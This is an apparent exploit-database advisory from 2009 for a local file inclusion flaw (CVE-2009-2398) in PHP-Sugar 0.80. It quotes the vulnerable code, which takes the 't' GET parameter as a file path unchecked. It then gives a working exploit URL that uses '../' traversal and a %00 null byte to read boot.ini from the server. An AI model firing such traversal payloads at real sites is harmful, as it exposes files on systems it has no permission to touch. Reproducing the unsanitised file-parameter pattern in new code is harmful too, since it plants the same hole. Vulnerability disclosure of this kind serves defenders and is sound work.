PHP-Sugar 0.80 - 'index.php?t' Local File Inclusion

Author: ahmadbady
type: webapps
platform: php
port: 
date_added: 2009-06-28  
date_updated:   
verified: 1  
codes: OSVDB-55758;CVE-2009-2398  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 9036.txt  

                =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-
script: PHP-Sugar 0.80
-----------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://php-sugar.net/files/?mod=files

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
if (isset($_GET['t']))
	$file = $_GET['t'];
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
/path/test/index.php?t=..//..//..//..//..//boot.ini%00
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

# milw0rm.com [2009-06-29]